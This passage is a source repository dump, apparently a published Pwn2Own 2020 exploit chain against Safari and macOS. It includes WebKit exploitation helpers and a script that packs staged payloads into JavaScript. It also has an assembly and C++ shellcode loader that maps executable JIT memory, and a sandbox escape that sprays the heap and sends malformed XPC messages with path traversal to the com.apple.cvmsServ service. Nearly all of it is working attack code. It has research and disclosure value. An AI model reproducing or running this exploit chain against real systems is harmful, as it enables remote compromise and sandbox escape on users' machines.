}, 2); 194 | } 195 | 196 | // Constructs a new Int64 instance with the same bit representation as the provided double. 197 | Int64.fromDouble = function(d) { 198 | var bytes = Struct.pack(Struct.float64, d); 199 | return new Int64(bytes); 200 | }; 201 | 202 | // Convenience functions. These allocate a new Int64 to hold the result. 203 | 204 | // Return -n (two's complement) 205 | function Neg(n) { 206 | return (new Int64()).assignNeg(n); 207 | } 208 | 209 | // Return a + b 210 | function Add(a, b) { 211 | return (new Int64()).assignAdd(a, b); 212 | } 213 | 214 | // Return a - b 215 | function Sub(a, b) { 216 | return (new Int64()).assignSub(a, b); 217 | } 218 | 219 | // Return a ^ b 220 | function Xor(a, b) { 221 | return (new Int64()).assignXor(a, b); 222 | } 223 | 224 | // Return a & b 225 | function And(a, b) { 226 | return (new Int64()).assignAnd(a, b); 227 | } 228 | 229 | // Return a << b 230 | function ShiftLeft(a, b) { 231 | return (new Int64()).assignShiftLeft(a, b); 232 | } 233 | 234 | // Return a >> b 235 | function ShiftRight(a, b) { 236 | return (new Int64()).assignShiftRight(a, b); 237 | } 238 | 239 | // Some commonly used numbers. 240 | Int64.Zero = new Int64(0); 241 | Int64.One = new Int64(1); 242 | 243 | // That's all the arithmetic we need for exploiting WebKit.. :) 244 | -------------------------------------------------------------------------------- /logging.js: -------------------------------------------------------------------------------- 1 | print = function(msg) { 2 | var logs = document.getElementById('logs'); 3 | var t = document.createTextNode(msg); 4 | logs.appendChild(t); 5 | var br = document.createElement('br'); 6 | logs.appendChild(br); 7 | } 8 | -------------------------------------------------------------------------------- /make.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | import subprocess 4 | 5 | with open('payload/sbx/sbx', 'rb') as f: 6 | stage2 = f.read() 7 | 8 | with open('payload/loader/loader.bin', 'rb') as f: 9 | stage1 = f.read() 10 | 11 | with open('stage0.bin', 'rb') as f: 12 | stage0 = f.read() 13 | 14 | def js_repr(_b): 15 | return ', '.join(map(hex, map(int, _b))) 16 | 17 | output = ''' 18 | const stage0 = [ 19 | %s 20 | ]; 21 | const stage1 = [ 22 | %s 23 | ]; 24 | const stage2 = [ 25 | %s 26 | ]; 27 | 28 | stage1Arr = new Uint8Array(stage1); 29 | stage2Arr = new Uint8Array(stage2); 30 | ''' % ( 31 | js_repr(stage0), 32 | js_repr(stage1), 33 | js_repr(stage2), 34 | ) 35 | output = output[1:] 36 | 37 | with open('payload.js', 'w') as f: 38 | f.write(output) 39 | -------------------------------------------------------------------------------- /movie.mov: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sslab-gatech/pwn2own2020/ff08eef5d2d16bdcbbbc96e0d43abbcdf2d0a1c2/movie.mov -------------------------------------------------------------------------------- /payload/loader/.gitignore: -------------------------------------------------------------------------------- 1 | /loader.bin 2 | /libloader.dylib 3 | -------------------------------------------------------------------------------- /payload/loader/Makefile: -------------------------------------------------------------------------------- 1 | CXXFLAGS := -fno-stack-protector -Os -DCURRENT_DIR=\"$(CURDIR)\" -std=c++17 -shared -fpic 2 | 3 | all: loader.bin 4 | 5 | loader.bin: libloader.dylib 6 | ./make.py $^ $@ 7 | 8 | libloader.dylib: loader.cpp entry.s 9 | $(CXX) $(CXXFLAGS) $< -o $@ 10 | 11 | clean: 12 | rm loader.bin libloader.dylib 13 | 14 | .PHONY: all clean 15 | -------------------------------------------------------------------------------- /payload/loader/entry.s: -------------------------------------------------------------------------------- 1 | .intel_syntax noprefix 2 | .globl _dlopen_ptr 3 | .globl _dlsym_ptr 4 | 5 | lea rcx, [rbp+0x10] 6 | mov rax, [rbp+0x8] 7 | mov rdi, [rax+0x10] 8 | 9 | mov rax, [rsp] // return address 10 | sub rax, 0x0000000000361f13 11 | mov r9, rax // [scratch] r9 = JavaScriptCore.__TEXT.__text 12 | 13 | mov rax, r9 14 | add rax, [rip+JSC_confstr_stub_offset] 15 | xor rbx, rbx 16 | mov ebx, [rax + 2] 17 | add rax, rbx 18 | add rax, 6 19 | mov rax, [rax] 20 | sub rax, [rip+libsystem_c_confstr_offset] 21 | mov r10, rax // [scratch] r10 = libsystem_c base 22 | 23 | mov rax, r10 24 | add rax, [rip+libsystem_c_dlopen_stub_offset] 25 | mov rsi, rax 26 | 27 | mov rax, r10 28 | add rax, [rip+libsystem_c_dlsym_stub_offset] 29 | mov rdx, rax 30 | 31 | call _main 32 | ret 33 | 34 | _main: 35 | push rbp 36 | mov rbp, rsp 37 | push r14 38 | push r15 39 | and rsp, ~0xf 40 | 41 | mov [rip+_dlopen_ptr], rsi 42 | mov [rip+_dlsym_ptr], rdx 43 | 44 | // rdi == library base pointer (mach-o header) 45 | // rsi == argv 46 | mov rsi, rcx 47 | call _load 48 | 49 | lea rsp, [rbp - 0x10] 50 | pop r15 51 | pop r14 52 | pop rbp 53 | ret 54 | 55 | _mmap: 56 | push rbp 57 | mov rbp, rsp 58 | push r15 59 | push r14 60 | push r12 61 | push rbx 62 | mov eax, 0x20000C5 63 | mov r10, rcx 64 | syscall 65 | pop rbx 66 | pop r12 67 | pop r14 68 | pop r15 69 | pop rbp 70 | ret 71 | 72 | _dlopen_ptr: .quad 0 73 | _dlsym_ptr: .quad 0 74 | 75 | JSC_confstr_stub_offset: .quad 0xE7D8B4 76 | libsystem_c_confstr_offset: .quad 0x0000000000002644 77 | libsystem_c_dlopen_stub_offset: .quad 0x80430 78 | libsystem_c_dlsym_stub_offset: .quad 0x80436 79 | -------------------------------------------------------------------------------- /payload/loader/loader.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define printf(...) 7 | #define setvbuf(...) 8 | 9 | extern void *(*dlopen_ptr)(const char *path, int mode); 10 | extern void *(*dlsym_ptr)(void *handle, const char *symbol); 11 | 12 | __asm__(".include \"" CURRENT_DIR "/entry.s\""); 13 | 14 | inline void exit(int n) { 15 | printf("%d\n", n); 16 | } 17 | 18 | inline void memcpy(void *dst, void *src, size_t n) { 19 | char *dst_ = (char *)dst, *src_ = (char *)src; 20 | while(n--) 21 | *dst_++ = *src_++; 22 | } 23 | 24 | inline int memcmp(void *dst, void *src, size_t n) { 25 | char *dst_ = (char *)dst, *src_ = (char *)src; 26 | while(n--) if(*dst_++ != *src_++) return 1; 27 | return 0; 28 | } 29 | 30 | inline uint64_t read_uleb128(uint8_t*& p, uint8_t* end) 31 | { 32 | uint64_t result = 0; 33 | int bit = 0; 34 | do { 35 | if ( p == end ) { 36 | exit(1); 37 | break; 38 | } 39 | uint64_t slice = *p & 0x7f; 40 | 41 | if ( bit > 63 ) { 42 | exit(2); 43 | break; 44 | } 45 | else { 46 | result |= (slice << bit); 47 | bit += 7; 48 | } 49 | } 50 | while (*p++ & 0x80); 51 | return result; 52 | } 53 | 54 | inline void vm_(uint64_t base, void **libs, load_command **commands, void *mem, uint8_t *cmd, size_t size) { 55 | uint8_t *p = cmd, *end = cmd + size; 56 | int ordinal = 0, libIndex = 0; 57 | const char *symbolName; 58 | bool done = false; 59 | uint8_t segIndex; 60 | uintptr_t segOffset; 61 | off_t offset; 62 | int type; 63 | // ported from dyld 64 | while ( !done && (p < end) ) { 65 | uint8_t immediate = *p & BIND_IMMEDIATE_MASK; 66 | uint8_t opcode = *p & BIND_OPCODE_MASK; 67 | ++p; 68 | switch (opcode) { 69 | case BIND_OPCODE_DONE: 70 | break; 71 | case BIND_OPCODE_SET_DYLIB_ORDINAL_IMM: 72 | libIndex = immediate; 73 | break; 74 | case BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB: 75 | libIndex = (int)read_uleb128(p, end); 76 | break; 77 | case BIND_OPCODE_SET_DYLIB_SPECIAL_IMM: 78 | // the special ordinals are negative numbers 79 | if ( immediate == 0 ) 80 | ordinal = 0; 81 | else { 82 | int8_t signExtended = BIND_OPCODE_MASK | immediate; 83 | ordinal = signExtended; 84 | } 85 | break; 86 | case BIND_OPCODE_ADD_ADDR_ULEB: 87 | segOffset += read_uleb128(p, end); 88 | break; 89 | case BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM: 90 | symbolName = (char*)p; 91 | while (*p != '\0') 92 | ++p; 93 | ++p; 94 | break; 95 | case BIND_OPCODE_SET_TYPE_IMM: 96 | type = immediate; 97 | break; 98 | case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB: 99 | segIndex = immediate; 100 | segOffset = read_uleb128(p, end); 101 | break; 102 | case BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB: { 103 | uint64_t count = read_uleb128(p, end); 104 | uint64_t skip = read_uleb128(p, end); 105 | segOffset += count * (skip + sizeof(intptr_t)); 106 | break; 107 | } 108 | case BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED: 109 | case BIND_OPCODE_DO_BIND: { 110 | void *res = dlsym_ptr(libs[libIndex], symbolName + 1); 111 | offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base; 112 | printf("%llx (+%lx) %s %d\n", offset, segOffset, symbolName, type); 113 | printf("dlsym(libs[%d] == %p, \"%s\") == %p\n", libIndex, libs[libIndex], symbolName + 1, res); 114 | if(symbolName[0] == '_') 115 | *(void **)((char *)mem + offset) = res; 116 | // if not, it's from dyld I guess 117 | segOffset += 8; 118 | if(opcode == BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED) 119 | segOffset += immediate * 8; 120 | break; 121 | } 122 | default: 123 | printf("WARNING: unsupported command: 0x%x\n", opcode); 124 | // exit(-1); 125 | } 126 | } 127 | } 128 | 129 | inline void rebase_vm_(uint64_t base, void **libs, load_command **commands, void *map, uint8_t *cmd, size_t size) { 130 | uint8_t *p = cmd, *end = cmd + size; 131 | uint8_t type = 0; 132 | int segIndex = 0; 133 | uint64_t segOffset = 0; 134 | uint64_t count; 135 | uint64_t skip; 136 | bool segIndexSet = false; 137 | bool stop = false; 138 | int ptrSize = 8; 139 | while ( !stop && (p < end) ) { 140 | uint8_t immediate = *p & REBASE_IMMEDIATE_MASK; 141 | uint8_t opcode = *p & REBASE_OPCODE_MASK; 142 | ++p; 143 | switch (opcode) { 144 | case REBASE_OPCODE_DONE: 145 | if ( (end - p) > 8 ) 146 | exit(100); 147 | stop = true; 148 | break; 149 | case REBASE_OPCODE_SET_TYPE_IMM: 150 | type = immediate; 151 | break; 152 | case REBASE_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB: 153 | segIndex = immediate; 154 | segOffset = read_uleb128(p, end); 155 | segIndexSet = true; 156 | break; 157 | case REBASE_OPCODE_ADD_ADDR_ULEB: 158 | segOffset += read_uleb128(p, end); 159 | break; 160 | case REBASE_OPCODE_ADD_ADDR_IMM_SCALED: 161 | segOffset += immediate*ptrSize; 162 | break; 163 | case REBASE_OPCODE_DO_REBASE_IMM_TIMES: 164 | case REBASE_OPCODE_DO_REBASE_ULEB_TIMES: 165 | if(opcode == REBASE_OPCODE_DO_REBASE_IMM_TIMES) 166 | count = immediate; 167 | else 168 | count = read_uleb128(p, end); 169 | for (uint32_t i=0; i < count; ++i) { 170 | uintptr_t offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base; 171 | printf("rebase %lx (+%llx)\n", offset, segOffset); 172 | *(uintptr_t *)((uintptr_t)map + offset) += ((uintptr_t)map - base); 173 | segOffset += ptrSize; 174 | } 175 | break; 176 | case REBASE_OPCODE_DO_REBASE_ADD_ADDR_ULEB: { 177 | uintptr_t offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base; 178 | printf("rebase %lx (+%llx)\n", offset, segOffset); 179 | *(uintptr_t *)((uintptr_t)map + offset) += ((uintptr_t)map - base); 180 | segOffset += read_uleb128(p, end) + ptrSize; 181 | break; 182 | } 183 | case REBASE_OPCODE_DO_REBASE_ULEB_TIMES_SKIPPING_ULEB: 184 | count = read_uleb128(p, end); 185 | skip = read_uleb128(p, end); 186 | for (uint32_t i=0; i < count; ++i) { 187 | uintptr_t offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base; 188 | printf("rebase %lx (+%llx)\n", offset, segOffset); 189 | *(uintptr_t *)((uintptr_t)map + offset) += ((uintptr_t)map - base); 190 | segOffset += skip + ptrSize; 191 | if ( stop ) 192 | break; 193 | } 194 | break; 195 | default: 196 | exit(101); 197 | } 198 | } 199 | } 200 | 201 | #define vm(offset, size) vm_(base, libs, commands, map, (uint8_t *)mem + offset, size) 202 | #define rebase_vm(offset, size) rebase_vm_(base, libs, commands, map, (uint8_t *)mem + offset, size) 203 | 204 | extern "C" void load(void *mem, void *args) { 205 | setvbuf(stdout, 0, _IONBF, 0); 206 | mach_header *header = (mach_header *)mem; 207 | load_command* startCmds = (load_command*)((char *)header + sizeof(mach_header_64)); 208 | load_command *cmd; 209 | 210 | printf("%x %x\n", header->magic, MH_MAGIC_64); 211 | size_t highest_address = 0; 212 | 213 | load_command *commands[0x80]; 214 | void *libs[0x80 + 1]; 215 | int libCount = 1; 216 | uint64_t base = 0; 217 | char pagezero[] = "__PAGEZERO"; 218 | 219 | #define LC cmd = startCmds; for (uint32_t i = 0; i < header->ncmds; ++i, cmd = (load_command*)((char *)cmd + cmd->cmdsize)) 220 | 221 | LC { 222 | if(cmd->cmd != LC_SEGMENT_64) continue; 223 | auto seg = (segment_command_64 *)cmd; 224 | size_t end = seg->vmaddr + seg->vmsize; 225 | 226 | if(!memcmp(seg->segname, (void *)pagezero, 11)) 227 | base = seg->vmsize; 228 | 229 | if(highest_address < end) { 230 | highest_address = end; 231 | } 232 | 233 | commands[i] = cmd; 234 | } 235 | 236 | highest_address -= base; 237 | commands[header->ncmds] = 0; 238 | 239 | printf("%lx\n", highest_address); 240 | void *map = mmap(NULL, highest_address, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE|MAP_JIT, -1, 0); 241 | 242 | uint64_t entry = 0; 243 | dysymtab_command *symtab; 244 | 245 | LC { 246 | if(cmd->cmd == LC_SEGMENT_64) { 247 | auto seg = (segment_command_64 *)cmd; 248 | memcpy((char *)map + seg->vmaddr - base, (char *)mem + seg->fileoff, seg->filesize); 249 | } 250 | 251 | if(cmd->cmd == 0x80000028) { 252 | auto entrycmd = (entry_point_command *)cmd; 253 | entry = entrycmd->entryoff; 254 | } 255 | 256 | if(cmd->cmd == LC_SYMTAB) { 257 | symtab = (dysymtab_command *)cmd; 258 | } 259 | 260 | if(cmd->cmd == LC_LOAD_DYLIB) { 261 | auto dylib = (dylib_command *)cmd; 262 | libs[libCount++] = dlopen_ptr((const char *)dylib + dylib->dylib.name.offset, RTLD_LAZY); 263 | } 264 | } 265 | 266 | LC { 267 | printf("cmd: %x\n", cmd->cmd); 268 | 269 | if(cmd->cmd == LC_DYLD_INFO_ONLY) { 270 | auto dyld = (dyld_info_command *)cmd; 271 | 272 | rebase_vm(dyld->rebase_off, dyld->rebase_size); 273 | vm(dyld->bind_off, dyld->bind_size); 274 | vm(dyld->lazy_bind_off, dyld->lazy_bind_size); 275 | } 276 | } 277 | 278 | if(!entry) { 279 | for(size_t i = 0; i < highest_address; i++) { 280 | int *cur = (int *)((char *)map + i); 281 | if(cur[0] == 0x13371337) { 282 | entry = i + 16; 283 | printf("%lx %llx\n", i, entry); 284 | break; 285 | } 286 | } 287 | } 288 | 289 | entry += (uint64_t)map; 290 | printf("%p\n", (void *)entry); 291 | ((void (*)(int, void *))(entry))(1, args); 292 | } 293 | -------------------------------------------------------------------------------- /payload/loader/make.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import lief 4 | import sys 5 | 6 | p = lief.parse(sys.argv[1]) 7 | loader = bytes(p.get_section('__text').content) 8 | open(sys.argv[2], 'wb').write(loader) 9 | -------------------------------------------------------------------------------- /payload/sbx/.gitignore: -------------------------------------------------------------------------------- 1 | /threadexec 2 | /WebKit 3 | 4 | /bundle.hh 5 | /sbx 6 | /cvm_side 7 | 8 | -------------------------------------------------------------------------------- /payload/sbx/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | set(HOME $ENV{HOME}) 2 | set(WEBKIT_DIR ${HOME}/WebKit) 3 | 4 | add_executable(sbx safari.mm cvm.cc safari.mm) 5 | add_executable(cvm_side cvm_side.cc) 6 | 7 | add_custom_target( 8 | threadexec 9 | COMMAND make -C ${CMAKE_CURRENT_SOURCE_DIR}/threadexec 10 | ) 11 | 12 | add_dependencies(cvm_side loader bundle.hh) 13 | add_dependencies(sbx cvm_side threadexec) 14 | 15 | target_include_directories(cvm_side 16 | PUBLIC ${CMAKE_CURRENT_BINARY_DIR}/../root 17 | ) 18 | 19 | target_include_directories(sbx 20 | PUBLIC 21 | threadexec/include 22 | ${WEBKIT_DIR}/Source/WebCore/platform/network/cf 23 | ${WEBKIT_DIR}/Source/WebCore/platform/network 24 | ${WEBKIT_DIR}/Source/WebKit/Shared/API 25 | ${WEBKIT_DIR}/WebKitBuild/Release/include 26 | ${WEBKIT_DIR}/WebKitBuild/Release/usr/local/include 27 | ${WEBKIT_DIR}/WebKitBuild/WTF.build/Release/WTF.build/DerivedSources 28 | ) 29 | 30 | target_compile_options(sbx PUBLIC -DBINARY_DIR="${CMAKE_BINARY_DIR}" -fmessage-length=0 -fdiagnostics-show-note-include-stack -fmacro-backtrace-limit=0 -std=gnu++1z -stdlib=libc++ -Wno-trigraphs -fno-exceptions -fno-rtti -fno-sanitize=vptr -fpascal-strings -O3 -fno-common -Wno-missing-field-initializers -Wunreachable-code -Wnon-virtual-dtor -Wno-overloaded-virtual -Wno-exit-time-destructors -Wno-missing-braces -Wparentheses -Wswitch -Wunused-function -Wno-unused-label -Wno-unused-parameter -Wunused-value -Wempty-body -Wuninitialized -Wno-unknown-pragmas -Wno-shadow -Wno-four-char-constants -Wno-conversion -Wconstant-conversion -Wint-conversion -Wbool-conversion -Wenum-conversion -Wno-float-conversion -Wnon-literal-null-conversion -Wobjc-literal-conversion -Wsign-compare -Wno-shorten-64-to-32 -Wnewline-eof -Wno-c++11-extensions -DNDEBUG -DU_DISABLE_RENAMING=1 -DU_SHOW_CPLUSPLUS_API=0 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk -fasm-blocks -fstrict-aliasing -Wdeprecated-declarations -Winvalid-offsetof -g -fvisibility=hidden -fvisibility-inlines-hidden -fno-threadsafe-statics -Wno-sign-conversion -Winfinite-recursion -Wmove -Wcomma -Wblock-capture-autoreleasing -Wstrict-prototypes -Wrange-loop-analysis -Wno-semicolon-before-method-body -isystem /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/usr/local/include 31 | -Wall -Wextra -Wcast-qual -Wchar-subscripts -Wconditional-uninitialized -Wextra-tokens -Wformat=2 -Winit-self -Wmissing-format-attribute -Wmissing-noreturn -Wpacked -Wpointer-arith -Wredundant-decls -Wundef -Wwrite-strings -Wexit-time-destructors -Wglobal-constructors -Wtautological-compare -Wimplicit-fallthrough -F${WEBKIT_DIR}/WebKitBuild/Release -iframework /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks 32 | -Wno-unused-private-field) 33 | 34 | target_link_libraries(sbx "-framework JavaScriptCore" "-framework CoreFoundation" "-framework Foundation" "-lthreadexec") 35 | 36 | target_link_options(sbx PUBLIC -F${WEBKIT_DIR}/WebKitBuild/Release 37 | -target x86_64-apple-macos10.15 38 | -L${CMAKE_CURRENT_SOURCE_DIR}/threadexec/lib 39 | ) 40 | -------------------------------------------------------------------------------- /payload/sbx/Makefile: -------------------------------------------------------------------------------- 1 | # Copy flags from WebKit 2 | SBX_INCLUDES := -Ithreadexec/include \ 3 | -IWebKit/Source/WebCore/platform/network/cf \ 4 | -IWebKit/Source/WebCore/platform/network \ 5 | -IWebKit/Source/WebKit/Shared/API \ 6 | -IWebKit/WebKitBuild/Release/include \ 7 | -IWebKit/WebKitBuild/Release/usr/local/include \ 8 | -IWebKit/WebKitBuild/WTF.build/Release/WTF.build/DerivedSources \ 9 | 10 | SBX_WEBKIT_FLAGS := -fmessage-length=0 -fdiagnostics-show-note-include-stack -fmacro-backtrace-limit=0 -std=gnu++1z -stdlib=libc++ -Wno-trigraphs -fno-exceptions -fno-rtti -fno-sanitize=vptr -fpascal-strings -O3 -fno-common -Wno-missing-field-initializers -Wunreachable-code -Wnon-virtual-dtor -Wno-overloaded-virtual -Wno-exit-time-destructors -Wno-missing-braces -Wparentheses -Wswitch -Wunused-function -Wno-unused-label -Wno-unused-parameter -Wunused-value -Wempty-body -Wuninitialized -Wno-unknown-pragmas -Wno-shadow -Wno-four-char-constants -Wno-conversion -Wconstant-conversion -Wint-conversion -Wbool-conversion -Wenum-conversion -Wno-float-conversion -Wnon-literal-null-conversion -Wobjc-literal-conversion -Wsign-compare -Wno-shorten-64-to-32 -Wnewline-eof -Wno-c++11-extensions -DNDEBUG -DU_DISABLE_RENAMING=1 -DU_SHOW_CPLUSPLUS_API=0 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk -fasm-blocks -fstrict-aliasing -Wdeprecated-declarations -Winvalid-offsetof -g -fvisibility=hidden -fvisibility-inlines-hidden -fno-threadsafe-statics -Wno-sign-conversion -Winfinite-recursion -Wmove -Wcomma -Wblock-capture-autoreleasing -Wstrict-prototypes -Wrange-loop-analysis -Wno-semicolon-before-method-body -isystem /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/usr/local/include 11 | 12 | SBX_CXXFLAGS = $(SBX_INCLUDES) $(SBX_WEBKIT_FLAGS) \ 13 | -DCURRENT_DIR=\"$(CURDIR)\" \ 14 | 15 | SBX_LDFLAGS = -FWebKit/WebKitBuild/Release \ 16 | -target x86_64-apple-macos10.15 \ 17 | -framework JavaScriptCore \ 18 | -framework CoreFoundation \ 19 | -framework Foundation \ 20 | -Lthreadexec/lib \ 21 | -lthreadexec 22 | 23 | all: cvm_side sbx 24 | 25 | cvm_side: cvm_side.cc 26 | make -C root 27 | ./embed.py root/app > bundle.hh 28 | $(CXX) -o $@ $< 29 | 30 | sbx: safari.mm cvm.cc 31 | ./build-threadexec.sh 32 | ./build-webkit.sh 33 | $(CXX) $(SBX_CXXFLAGS) -o $@ $^ $(SBX_LDFLAGS) 34 | 35 | clean: 36 | make clean -C root 37 | rm -f cvm_side sbx 38 | 39 | .PHONY: all clean 40 | -------------------------------------------------------------------------------- /payload/sbx/build-threadexec.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | git clone https://github.com/bazad/threadexec.git 4 | cd threadexec 5 | patch -p1 --forward < ../threadexec.diff 6 | make 7 | -------------------------------------------------------------------------------- /payload/sbx/build-webkit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -e WebKit/WebKitBuild/Release ]; then 4 | svn checkout https://svn.webkit.org/repository/webkit/tags/Safari-608.5.11/ WebKit 5 | cd WebKit 6 | ./Tools/Scripts/set-webkit-configuration --release 7 | ./Tools/Scripts/build-webkit 8 | fi 9 | -------------------------------------------------------------------------------- /payload/sbx/cvm.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #if __cplusplus 12 | extern "C" { 13 | #endif 14 | #include 15 | #if __cplusplus 16 | } 17 | #endif 18 | #include 19 | #include 20 | #include 21 | #include 22 | #define _XOPEN_SOURCE 23 | #include 24 | 25 | #define PATHRAND 128 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | int sandbox_init_with_parameters(const char *profile, 31 | uint64_t flags, 32 | const char *const parameters[], 33 | char **errorbuf); 34 | 35 | mach_port_t _xpc_dictionary_extract_mach_send(xpc_object_t, char const *); 36 | #ifdef __cplusplus 37 | } 38 | #endif 39 | 40 | #define TRIAL 0x1000 41 | #define PLUGIN_NAME "/System/Library/Frameworks/OpenGL.framework/Libraries/libGLVMPlugin.dylib" 42 | 43 | char prefix[0x100]; 44 | char *tmpdir; 45 | 46 | char *conf(int id) { 47 | char buf[0x400]; 48 | char buf2[0x400]; 49 | if(confstr(id, buf, sizeof(buf)) && realpath(buf, buf2)) { 50 | printf("%d: %s\n", id, buf2); 51 | } else { 52 | puts("conf failed"); 53 | return NULL; 54 | } 55 | strcat(buf2, "/"); 56 | return strdup(buf2); 57 | } 58 | 59 | char data_exp[0x1000]; 60 | int data_exp_size = sizeof(data_exp); 61 | struct { 62 | uint64_t lib_size; 63 | uint64_t bitcode_size; 64 | uint64_t plugin_size; 65 | uint8_t hash[32]; 66 | uint32_t revision; 67 | uint32_t flags; 68 | uint32_t count; 69 | uint16_t loadable; 70 | uint16_t bitcode_offset; 71 | uint16_t plugin_offset; 72 | uint16_t entry_offset; 73 | char pad[4]; 74 | size_t pointers[0x12]; 75 | } maps_exp_ = { 76 | .lib_size=UINT64_MAX, 77 | .bitcode_size=0, 78 | .plugin_size=UINT64_MAX, 79 | .hash={}, 80 | .revision=20120507, 81 | .flags=0x31A, 82 | .count=0, 83 | .loadable=1, 84 | .bitcode_offset=0, 85 | .plugin_offset=0, 86 | .entry_offset=0x30 87 | }; 88 | char *maps_exp = (char *)&maps_exp_; 89 | long maps_exp_size = sizeof(maps_exp_); 90 | 91 | xpc_object_t mem_descriptor(void *mem, size_t size, size_t offset_in_page, size_t real_size, bool trigger) { 92 | xpc_object_t elements[3] = { 93 | xpc_shmem_create(mem, size), 94 | xpc_uint64_create(offset_in_page), 95 | xpc_uint64_create(real_size) 96 | }; 97 | 98 | if(trigger) ((long *)elements[0])[4] = offset_in_page - 1; 99 | 100 | return xpc_array_create(elements, 3); 101 | } 102 | 103 | const char *serviceName = "com.apple.cvmsServ"; 104 | 105 | void my_error(const char *name) { 106 | printf("error: %s\n", name); 107 | } 108 | 109 | xpc_connection_t connect(bool create) { 110 | xpc_connection_t conn = xpc_connection_create_mach_service(serviceName, NULL, 0); 111 | if (conn == NULL) { 112 | my_error("xpc_connection_create_mach_service"); 113 | exit(1); 114 | } 115 | 116 | xpc_connection_set_event_handler(conn, ^(xpc_object_t) { 117 | // printf("Received message in generic event handler: %p\n", obj); 118 | // printf("%s\n", xpc_copy_description(obj)); 119 | }); 120 | 121 | xpc_connection_resume(conn); 122 | 123 | if(create) { 124 | xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); 125 | xpc_dictionary_set_int64(msg, "message", 1); 126 | xpc_connection_send_message(conn, msg); 127 | // usleep(20000); 128 | } 129 | 130 | return conn; 131 | } 132 | 133 | char *pad(int size, int i) { 134 | static char value[0x10000]; 135 | // char *value = (char *)mmap(NULL, ((size + 1) + 0xfff) & ~0xfff, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); 136 | int start = sprintf(value, "0x%x", i); 137 | memset(value + start, 0x41, size); 138 | value[size] = '\0'; 139 | return value; 140 | } 141 | 142 | void spray_value(xpc_object_t msg) { 143 | xpc_dictionary_set_value(msg, "ey", xpc_fd_create(0)); 144 | 145 | if(true) { 146 | // prepare *neighboring* chunks which fills the freelist 147 | xpc_object_t subdict = xpc_dictionary_create(NULL, NULL, 0); 148 | for(int i = 0; i < 0x500; i++) { 149 | xpc_dictionary_set_value(subdict, pad(0x50 - 41, i), xpc_bool_create(true)); 150 | } 151 | xpc_dictionary_set_value(msg, "free", subdict); 152 | } 153 | 154 | // lets spoof deserializer to free the first "free" key 155 | xpc_dictionary_set_value(msg, "fref", xpc_bool_create(true)); 156 | static bool seen_free = false; 157 | xpc_dictionary_apply(msg, ^bool(const char *key, xpc_object_t) { 158 | if(!strcmp(key, "free")) { 159 | seen_free = true; 160 | } 161 | if(!memcmp(key, "fre", 3) && key[3] != 'e') { 162 | if(!seen_free) { 163 | puts("check other key!"); 164 | exit(1); 165 | } 166 | memcpy((void *)key, "free", 4); 167 | } 168 | return true; 169 | }); 170 | } 171 | 172 | xpc_object_t init_msg; 173 | 174 | xpc_connection_t spray() { 175 | xpc_connection_t conn = connect(false); 176 | xpc_object_t msg; 177 | 178 | msg = xpc_dictionary_create(NULL, NULL, 0); 179 | xpc_dictionary_set_int64(msg, "message", 1); 180 | spray_value(msg); 181 | 182 | xpc_connection_send_message(conn, msg); 183 | // usleep(20000); 184 | 185 | xpc_dictionary_set_int64(msg, "message", 4); 186 | char buf[0x1000]; 187 | strcpy(buf, "../../../../"); 188 | strcat(buf, tmpdir); 189 | for(int i = 0; i < PATHRAND; i++) 190 | strcat(buf, (rand() % 2) ? "./" : "//"); 191 | strcat(buf, "spray"); 192 | strcat(buf, prefix); 193 | xpc_dictionary_set_string(init_msg, "framework_name", buf); 194 | xpc_connection_send_message_with_reply(conn, init_msg, NULL, ^(xpc_object_t) { 195 | puts("spraying..."); 196 | }); 197 | // xpc_release(conn); 198 | 199 | return conn; 200 | } 201 | 202 | uint64_t heap_index; 203 | 204 | vm_address_t allocate(mach_port_t port, size_t size, void **map) { 205 | vm_prot_t PROTECTION = VM_PROT_READ | VM_PROT_WRITE; 206 | vm_address_t address = 0; 207 | if(vm_allocate(port, &address, size, true)) { 208 | my_error("vm_allocate"); 209 | exit(1); 210 | } 211 | if(map) { 212 | mach_port_t handle; 213 | if(mach_make_memory_entry_64(port, (memory_object_size_t *)&size, address, PROTECTION | 0x400000, &handle, 0)) { 214 | my_error("mach_make_memory_entry_64"); 215 | exit(1); 216 | } 217 | if(vm_map(mach_task_self(), (vm_address_t *)map, size, 0, 1, handle, 0, false, PROTECTION, PROTECTION, VM_INHERIT_NONE)) { 218 | my_error("vm_map"); 219 | exit(1); 220 | } 221 | } 222 | 